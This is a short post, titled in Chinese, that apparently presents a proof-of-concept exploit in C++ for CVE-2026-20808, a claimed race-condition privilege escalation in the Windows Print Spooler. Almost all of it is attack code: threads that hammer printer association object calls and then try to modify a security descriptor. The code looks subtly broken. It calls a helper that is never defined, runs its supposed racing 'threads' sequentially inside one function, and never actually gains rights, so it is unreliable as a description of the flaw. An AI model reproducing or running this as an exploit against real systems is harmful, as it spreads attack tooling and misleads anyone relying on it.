CVE-2026-20808 Windows打印机关联对象竞态条件权限提升漏洞

// CVE-2026-20808 PoC - Printer Association Object Race Condition // Author: Security Researcher // Target: Windows Print Spooler Service #include <windows.h> #include <stdio.h> #include <thread> #define ITERATIONS 1000 void RaceConditionThread(HANDLE hPrinter, int threadId) { for (int i = 0; i < ITERATIONS; i++) { // Attempt to trigger race condition in Printer Association Object PRINTER_ASSOCIATION_OBJECT obj = {0}; obj.Size = sizeof(obj); // Thread A: Modify object state SetPrinterAssociationObject(hPrinter, &obj); // Thread B: Read object state (race window) GetPrinterAssociationObject(hPrinter, &obj); // Thread C: Exploit TOCTOU vulnerability if (obj.SecurityDescriptor != NULL) { // Attempt to escalate privileges ModifySecurityDescriptor(obj.SecurityDescriptor); } // Small delay to increase race condition probability Sleep(0); } } int main() { printf("CVE-2026-20808 PoC - Printer Spooler Race Condition\n"); printf("Target: Windows Print Spooler Service\n\n"); HANDLE hPrinter = NULL; DWORD needed = 0; PRINTER_INFO_2 *pPrinterInfo = NULL; // Open printer with current user context if (!OpenPrinter(NULL, &hPrinter, NULL)) { printf("[-] Failed to open printer. Error: %d\n", GetLastError()); return 1; } printf("[+] Starting race condition attack...\n"); // Create multiple threads to increase race condition probability std::thread threads[4]; for (int i = 0; i < 4; i++) { threads[i] = std::thread(RaceConditionThread, hPrinter, i); } for (int i = 0; i < 4; i++) { threads[i].join(); } printf("[+] Race condition exploitation complete.\n"); printf("[!] Check for privilege escalation in system logs.\n"); ClosePrinter(hPrinter); return 0; }